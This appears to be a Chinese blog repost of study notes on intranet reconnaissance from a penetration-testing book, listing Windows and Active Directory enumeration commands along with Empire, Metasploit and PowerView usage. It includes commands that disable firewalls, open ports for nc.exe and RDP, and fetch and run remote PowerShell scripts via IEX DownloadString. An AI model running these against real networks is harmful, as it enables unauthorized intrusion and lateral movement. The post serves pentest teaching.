内网安全攻防:渗透测试指南——第2章内网信息收集
作者:互联网
目录
3.Nishang 中的 Invoke-ARPScan.ps1 脚本
2.1.工作组手动信息收集
1.查询网络配置信息
2.查询操作系统及安装软件的版本信息
- systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #查看系统信息
- echo %PROCESSOR_ARCHITECTURE% #查看系统架构
- wmic product get name,version #查看安装的软件版本,路径
- powershell "Get-WmiObject -class Win32_Product |Select-Object -Property
- name,version" #powershell收集软件版本信息
3.查询本机服务信息
wmic service list brief
4.查询进程列表
- tasklist /v
- wmic process list brief
5.查看启动程序信息
wmic startup get command,caption
6.查看计划任务
schtasks /query /fo LIST /v
7.查看主机开机时间
net statistics workstation
8.查看用户
- net user #查看本机用户列表
- net localgroup administrators #获取本地管理员(通常含有域用户)信息
- query user || qwinsta #查看当前在线用户
9.列出或断开本地计算机和连接的客户端的会话
net session
10.查询端口列表
netstat –ano
11.查询补丁列表
Systeminfo #查看系统的详细信息。
12.查询本机共享
- net share #执行如下命令,查看本机共享列表和可访问的域共享列表(域内共享有很多时候是相同的)
- wmic share get name,path,status #利用 wmic 查找共享
13.查询路由表及所有可用接口的 ARP 缓存表
- 查询路由表及所有可用接口的 ARP(地址解析协议)缓存表
- route print
- Arp –A
14.查询防火墙相关配置
- (1)关闭防火墙
- Windows Server 2003 系统及之前版本,命令如下。
- netsh firewall set opmode disable
- Windows Server 2003 之后系统版本,命令如下。
- netsh advfirewall set allprofiles state off
- (2)查看防火墙配置
- netsh firewall show config
- (3)修改防火墙配置
- Windows Server 2003 系统及之前版本,允许指定程序全部连接,命令如下。
- netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
- Windows Server 2003 之后系统版本,情况如下。
- 允许指定程序连入,命令如下。
- netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
- 允许指定程序连出,命令如下。
- netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
- 允许 3389 端口放行,命令如下。
- netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- (4)自定义防火墙日志储存位置
- netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
15.查看计算机代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" #代理配置存在服务器为 127.0.0.1:1080 的配置信息
16.查询并开启远程连接服务
- (1)查看远程连接端口
- 在cmd下使用注册表查询语句,命令如下,得到连接端口为 0xd3d,转换后为 3389
- REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
- (2)在 Windows Server2003中开启3389端口
- wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
- (3)在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
- wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
- wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
- reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
2.2自动信息收集
1.Windows 7 以上版本允许低权限的用户访问 WMIC并执行相关查询操作。 wmic脚本 执行后, 会将所有结果写入一个 HTML 文件 脚本下载地址 2.Empire下的信息收集- (Empire: W12MRC5H) > usemodule situational_awareness/host/winenum
- (Empire: powershell/situational_awareness/host/winenum) > execute
2.3 查询当前权限
1.查看当前权限
whoami
2.获取域 SID
whoami /all #获取域 SID
3.查询指定账户的详细信息
net user XXX /domain #查询指定账户的详细信息
2.4 判断是否有域
搜集完本机相关信息后,接下来,就要判断当前内网是否有域。如果有,需要判断所控主机是否在域内。下面有几种方法1.使用 ipconfig 命令
- ipconfig /all #执行如下命令,可以查看网关 P地址、DNS的IP地址、本地地址是否和DNS服务器为同一网段、域名等
- nslookup hello.testlab #通过反向解析查询命令 nslookup 来解析域名的IP地址。使用解析出来的IP地址进行对比,判断域控制器和DNS服务器是否在同一台服务器上
2.查看系统详细信息
systeminfo #如下图所示域即域名,登录服务器为域控制器。如果域显示为WORKGROUP,表示当前服务器不在域内。当前域名为hello.testlab。
3.查询当前登录域及登录用户信息
net config workstation ##工作站域DNS名称显示域名(如果显示为 WORKGROUP,则表示非域环境)。登录域表明当前用户是域用户登录还是本地用户登录,此处表明当前用户是本地登录。
4.判断主域
net time /domain #执行如下命令,判断主域,一般域服务器都会同时作为时间服务器。
运行该命令后,一般会有如下三种情况。 1.存在域,但当前用户不是域用户,提示说明权限不够,如图 2.存在域,并且当前用户是域用户,如图 所示 3.当前网络环境为工作组,不存在域,如图 2-37 所示。
2.5 探测域内存活主机
1 利用 NetBIOS 快速探测内网
- nbtscan 192.168.1.0/24
- nbtscan.exe 192.168.1.0/24
2.利用 ICMP 协议快速探测内网
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
vbs脚本
- strSubNet = "192.168.1."
- Set objFSO= CreateObject("Scripting.FileSystemObject")
- Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
- For i = 1 To 254
- strComputer = strSubNet & i
- blnResult = Ping(strComputer)
- If blnResult = True Then
- objTS.WriteLine strComputer & " is alived ! :) "
- End If
- Next
- objTS.Close
- WScript.Echo "All Ping Scan , All Done ! :) "
- Function Ping(strComputer)
- Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
- Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where
- Address='" & strComputer & "'")
- For Each objItem In colItems
- Select case objItem.StatusCode
- Case 0
- Ping = True
- Case Else
- Ping = False
- End select
- Exit For
- Next
- End Function
cscript c:\windows\temp\1.vbs
3 通过 ARP 扫描探测内网
1.arp脚本
Arp.exe –t 192.168.1.0/20
2.EmpireEmpire 中的 arpsan 模块
- (Empire: agents) > interact W91LA5G4
- (Empire: W91LA5G4) > usemodule situational_awareness/network/arpscan
- (Empire: powershell/situational_awareness/network/arpscan) > set Range 192.168.1.0-192.168.1.254
- (Empire: powershell/situational_awareness/network/arpscan) > execute
3.Nishang 中的 Invoke-ARPScan.ps1 脚本
powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\InvokeARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/24}" >> C:\windows\temp\log.txt
4 通过常规 TCP/UDP 端口扫描探测内网
- scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\log.txt -p 192.168.1.1-254 /b
- #ScanLine 是一款经典的端口扫描工具,Windows 全版本通用,体积小,仅使用单个文件,同时支持对 TCP/UDP 的端口扫描
2.6 扫描域内端口
关注点:
- 端口的 Banner 信息。
- 端口上运行的服务。
- 常见应用的默认端口。
1.telnet扫描
telnet DC 22
2.S扫描器
- S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
- #S 扫描器是早期的一种比较快速的端口扫描工具,特别适合运行在 Windows Sever2003 以下的平台上,支持大网段扫描
3 Metasploit 端口扫描
- msf5 > use auxiliary/scanner/portscan/tcp
- msf5 auxiliary(scanner/portscan/tcp) > show options
- msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.2
- RHOSTS => 192.168.1.2
- msf5 auxiliary(scanner/portscan/tcp) > set PORTS 1-1024
- PORTS => 1-1024
- msf5 auxiliary(scanner/portscan/tcp) > set THREADS 100
- THREADS => 100
- msf5 auxiliary(scanner/portscan/tcp) > run
4.powersploit扫描
1.powershell下执行- kali打开apache服务
- root@kali:/usr/share/windows-resources/powersploit# cp -r /usr/share/windows-resources/powersploit/ /var/www/html/
- root@kali:/usr/share/windows-resources/powersploit# service apache2 start
- win7
- PS C:\Users\Administrator> IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.131/powersploit/Recon/Invoke-Portscan.ps1")
- PS C:\Users\Administrator> Invoke-Portscan -Hosts 192.168.1.0/24 -Ports "80,445,22,139,3389"
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"
5.nishang端口扫描
Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost
6 端口 Banner 信息
在发现端口后,可以使用客户端连接工具或者 nc 连接,获取服务端的 Banner 信息。获取Banner 信息后,在漏洞库中查找对应 CVE 编号的 POC 、 EXP ,在 ExploitDB 、 Seebug 等平台上查 看相关的漏洞利用的工具,然后去验证漏洞是否存在。 相关漏洞的具体信息分析和共享,可以参考如下两个网站 bugtraq exploit-db 参考链接目录
2.7收集域内基础信息
1.查询域
net view /domain
2.查询此域内所有计算机
net view /domain:HELLO #通过查询得到的主机名来对主机角色进行初步判断
3.查询域内所有用户组列表
- net group /domain
- Domain Admins:域管理员组。
- Domain Computers:域内机器。
- Domain Controllers:域控制器。
- Domain Guest:域访客组,权限较低。
- Domain Users:域用户。
- Enterprise Admins:企业系统管理员用户。
- 在默认情况下,Domain Admins 和 Enterprise Admins 对域内所有域控制器有完全控制权限。
4.查询所有域成员计算机列表
- net group "domain computers" /domain
5.获取域密码信息
net accounts /domain #获得域密码策略设置、密码长短、错误锁定等信息
6.获取域信任信息
nltest /domain_trusts
2.8 查找域控制器
1.查看域内控制器的机器名
nltest /DCLIST:hello
2.查看域控制器的主机名
Nslookup -type=SRV _ldap._tcp
3.查看当前时间
net time /domain #一般时间服务器未主域控服务器
4.查看域控制器组
- net group "Domain Controllers" /domain
- netdom query pdc #在真实环境中,一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以使域内服务验证正常进行。
2.9 获取域内的用户和管理员信息
1.向域控制器进行查询
net user /domain
2.获取域内用户详细信息
wmic useraccount get /all
3.查看存在的用户
- dsquery user
- 1 dsquery computer -查找目录中的计算机。
- 2 dsquery contact -查找目录中的联系人。
- 3 dsquery subnet -找目录中的子网。
- 4 dsquery group -查找目录中的组。
- 5 dsquery ou -查找目录中的组织单位。
- 6 dsquery site -查找目录中的站点。
- 7 dsquery server -查找目录中的AD DC/LDS实例。
- 8 dsquery user -查找目录中的用户。
- 9 dsquery quota -查找目录中的配额规定。
- 10 dsquery partition -查找目录中的分区。
- 11 dsquery * -用通用的LDAP查询来查找目录中的任何对象。
4.查询域内置本地管理员组用户
net localgroup administrators /domain
2.9.2 查询域管理员用户组
1.查询域管理员用户
net group "domain admins" /domain
2.查询管理员用户组
net group "Enterprise Admins" /domain
2.10 定位域管理员
假设已经在 Windows 域中取得了普通用户权限,希望在域内横向移动,想知道域内用户登录的位置、他是否是任何系统中的本地管理员、他所归属的组、他是否有权访问文件共享等。枚举 主机、用户和组,有助于我们更好地了解域内布局。 常用的工具有 psloggedon.exe、pveFindADUser.exe、netsess.exe、hunter、NetView 等。在 PowerShell 中,常用的脚本是 PowerView。1.psloggedon.exe
psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录,其原理是通过检验注册表里 HKEY_USERS 项的 key 值来查询谁登录过机器(同样调用了 NetSessionEnum API), 某些功能需要拥有管理员权限才能使用 。下载链接- psloggedon [-] [-l] [-x] [\\computername|username]
- -:显示支持的选项和用于输出值的单位。
- -l:仅显示本地登录,不显示本地和网络资源登录。
- -x:不显示登录时间。
- \\computername:指定要列出登录信息的计算机的名称。
- Username:指定用户名,在网络中搜索该用户登录的计算机。
2.pveFindADUser.exe
- pveFindADUser.exe <参数>
- -h:显示帮助。
- -u:检查是否有更新版本的实用程序。
- -current [''username'']:如果仅指定了-current 参数,将获取所有目标计算机上当前登录的所有用户。如果指定了用户名(DOMAIN\Username),则显示该用户登录的计算机。
- -last [''username'']:如果仅指定了-last 参数,将获取目标计算机上的最后一个登录用户。如果指定了用户名(DOMAIN\Username),则显示具有此用户账户作为上次登录的计算机。根据网络的策略,可能会隐藏最后一个登录用户名,且该工具可能无法得到该用户名。
- -noping:阻止该工具在尝试获取用户登录信息之前对目标计算机执行 ping 命令。
- -target:可选参数,用于指定要查询的主机。如果未指定此参数,将查询当前域中的所有主
- 机。如果指定此参数,则后跟一个由逗号分隔的主机名列表
- pveFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务和计划任务的用户账户。运行该工具的计算机需要具有.NET Framework 2.0,并且需要具有管理员权限。
3.netview.exe
netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登录会话,利用 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登录的用户。同时,netview.exe 能够查询共享入口和有价值用户。netview.exe 的绝大部分功能不需要管理员权限即可执行,下载地址为 https://github.com/mubix/netview- netview.exe <参数>
- -h:显示帮助菜单。
- -f filename.txt:指定从中提取主机列表的文件。
- -e filename.txt:指定要排除的主机名文件。
- -o filename.txt:将所有输出重定向到文件。
- -d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
- -g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
- -c:检查对已找到共享的访问权限。
4.Nmap 的 NSE 脚本
如果有域账户或者本地账户,就可以使用 Nmap 的 smb-enum-sessions.nse 引擎来获取远程机器的登录会话,并且不需要管理员权限。smb-enum-sessions.nse 的下载地址为 https://nmap.org/nsedoc/scripts/smb-enum-sessions.html- smb-enum-domains.nse:对域控制器进行信息收集,可以获取主机信息、用户、密码策略可以使用的用户等。 smb-enum-users.nse:在进行域渗透测试的时候,如果获取了域内某台主机的权限,但是权限有限,不能获取更多的域用户信息,就可以借助这个脚本对域控制器进行扫描。 smb-enum-shares.nse:遍历远程主机的共目录。
- smb-enum-processes.nse:对主机的系统进程进行遍历。通过这些信息,可以知道目标主机上运行软件信息,选择合适的漏洞或者规避防火墙及杀毒软件。
- smb-enum-sessions.nse:获取域内主机的用户登录会话,查看当前是否有用户登录。
- smb-os-discovery.nse:收集目标主机的操作系统、计算机名、域名、全称域名、域林名称、NetBIOS 机器名、NetBIOS 域名、工作组、系统时间。
5.PowerView
- C:\Users\Administrator\Downloads>powershell.exe -exec bypass -Command "& <Import-Module C:\powerview.ps1; Invoke-UserHunter>" #cmd未执行成功
- PS C:\Users\Administrator\Downloads> .\powerview.ps1
- PS C:\Users\Administrator\Downloads> Import-Module .\powerview.ps1
- Invoke-StealthUserHunter :只需要一次查询,就可以获取域内的所有用户。从user.HomeDirectories 中提取所有用户,并对每个服务器进行 Get-NetSessions 获取。因为不需要使用 Invoke-UserHunter 对每台机器进行操作,所以这个方法的隐蔽性相对较高,但涉及的机器面不一定完整。默认使用 InvokeStealthUserHunter,如果找不到需要的信息,就
- 接着使用 Invoke-UserHunter 方法。
- Invoke-UserHunter:找到域内特定的用户群。它接收用户名、用户列表或域组查询,并接收一个主机列表或查询可用的主机域名。它会使用 Get-NetSessions 和 Get-NetLoggedon(调用 NetSessionEnum 和 NetWkstaUserEnum API)扫描每个服务器,而且会比较结果,筛选出目标用户集。使用这个工具是不需要管理员权限的。在本地绕过执行该脚本
6.Empire 下的 user_hunter 模块
- (Empire: agents) > interact EHVMZDT8
- (Empire: EHVMZDT8) > usemodule situational_awareness/network/powerview/user_hunter
- (Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute
2.11 查找域管理进程
1.获取域管理员列表
net group "Domain Admins" /domain
2.列出本机所有进程及进程用户
3.寻找是否有进程所有者为域管理员的进程
2.11.2 查询域控制器的域用户会话
查询域控制器的域用户会话,其原理是:在域控制器中查询域用户会话列表,并将其与域管理员列表交叉引用,从而找出域管理会话的系统列表。在这里,必须查询所有域控制器。1.查询域控制器列表
net group "Domain Controllers" /domain #使用 LDAP 查询从 Domain Controllers 单元收集的域控制器的列表。也可以使用 net 命令查询域控制器列表
2.收集域管理员列表
使用 LDAP 进行查询。也可以使用 net 命令从域管理员组中收集域管理员列表,如下所示。
net group "Domain Admins" /domain
3.收集所有活动域会话列表
Netsess.exe –h #使用 Netsess.exe 查询每个域控制器,收集所有活动域会话列表。Netsess 是一个很棒的工具,它包含了本地Windows 函数 netsessionenum。该函数可以返回活动会 话的 IP 地址、域户、会话开始时间和空闲时间。
4.交叉引用域管理员列表与活动会话列表
- FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
- type sessions.txt
- 将域控制器列表添加到 dcs.txt 中,将域管理员列表添加到 admins.txt 中,并和 netsess.exe 放在同一个目录下。运行如下脚本后,会在当前目录下生成一个 sessions.txt 文本文件
2.11.3 扫描远程系统上运行的任务
如果渗透目标在域系统上使用共享本地管理员账户运行后,可以用下列脚本来扫描系统中的域管理任务。- net group "Domain Admins" /domain #先从“域管理员”组中收集域管理员的列表
- FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause #ips.txt 填入目标域系统的列表,在names.txt 填入收集来的域管理员的列表
2.11.4 扫描远程系统上 NetBIOS 信息
在一些 Windows 系统中,允许用户通过 NetBIOS 查询已登录用户。下面这个 Windows 命令行脚本将扫描远程系统活跃域管理会话。
同样,先收集域管理员列表,然后将目标域系统列表添加到 ips.txt 文件中,将收集到的域管 理员列表添加到 admins.txt 文件中,并置于同一目录下- for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
- for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
- #目标域系统列表添加到 ips.txt 文件中,将收集到的域管理员列表添加到 admins.txt 文件
2.12 模拟域管理员方法简介
如果有一个 meterpreter 会话,可以使用 Incognito 模拟域管理员,或添加一个新的域管理员。通过尝试遍历系统中所有可用的授权令牌来随意添加新的管理员。具体操作方法在第四章
2.13 利用 PowerShell 收集域信息
1.powershell
- Get-ExecutionPolicy 查看powershell权限
- Set-ExecutionPolicy Unrestricted 设置权限
- Restricted:默认设置,不允许执行任何脚本。
- Allsigned:只能运行经过证书验证的脚本。
- Unrestricted:权限最高,可以执行任意脚本。
- RemoteSigned:本地脚本无限制,但是对来自网络的脚本必须经过签名。
2.PowerView
PowerView 是一款依赖 PowerShell 和 WMI 对内网域情况进行查询的常用渗透脚本- PowerView 中的常用命令如下。
- Get-NetDomain:获取当前用户所在的域名称。
- Get-NetUser:返回所有用户的详细信息。
- Get-NetDomainController:获取所有域控制器。
- Get-NetComputer:获取所有域内机器的详细信息。
- Get-NetOU:获取域中的 OU 信息。
- Get-NetGroup:获取所有域内组和组成员信息。
- Get-NetFileServer:根据 SPN 获取当前域使用的文件服务器。
- Get-NetShare:获取当前域内所有网络共享。
- Get-NetSession:获取在指定服务器存在的会话信息。
- Get-NetRDPSession:获取在指定服务器存在的远程连接信息。
- Get-NetProcess:获取远程主机的进程信息。
- Get-UserEvent:获取指定用户的日志信息。
- Get-ADObject:获取活动目录的对象信息。
- Get-NetGPO:获取域所有组策略对象。
- Get-DomainPolicy:获取域默认或域控制器策略。
- Invoke-UserHunter:用于获取域用户登录计算机及该用户是否有本地管理权限。
- Invoke-ProcessHunter:查找域内所有机器进程用于找到某特定用户。
- Invoke-UserEventHunter:根据用户日志获取某域用户登录过哪些域机器。
标签:指南,攻防,txt,域控制器,用户,列表,管理员,查询,章内网 来源: https://www.cnblogs.com/bonelee/p/15973848.html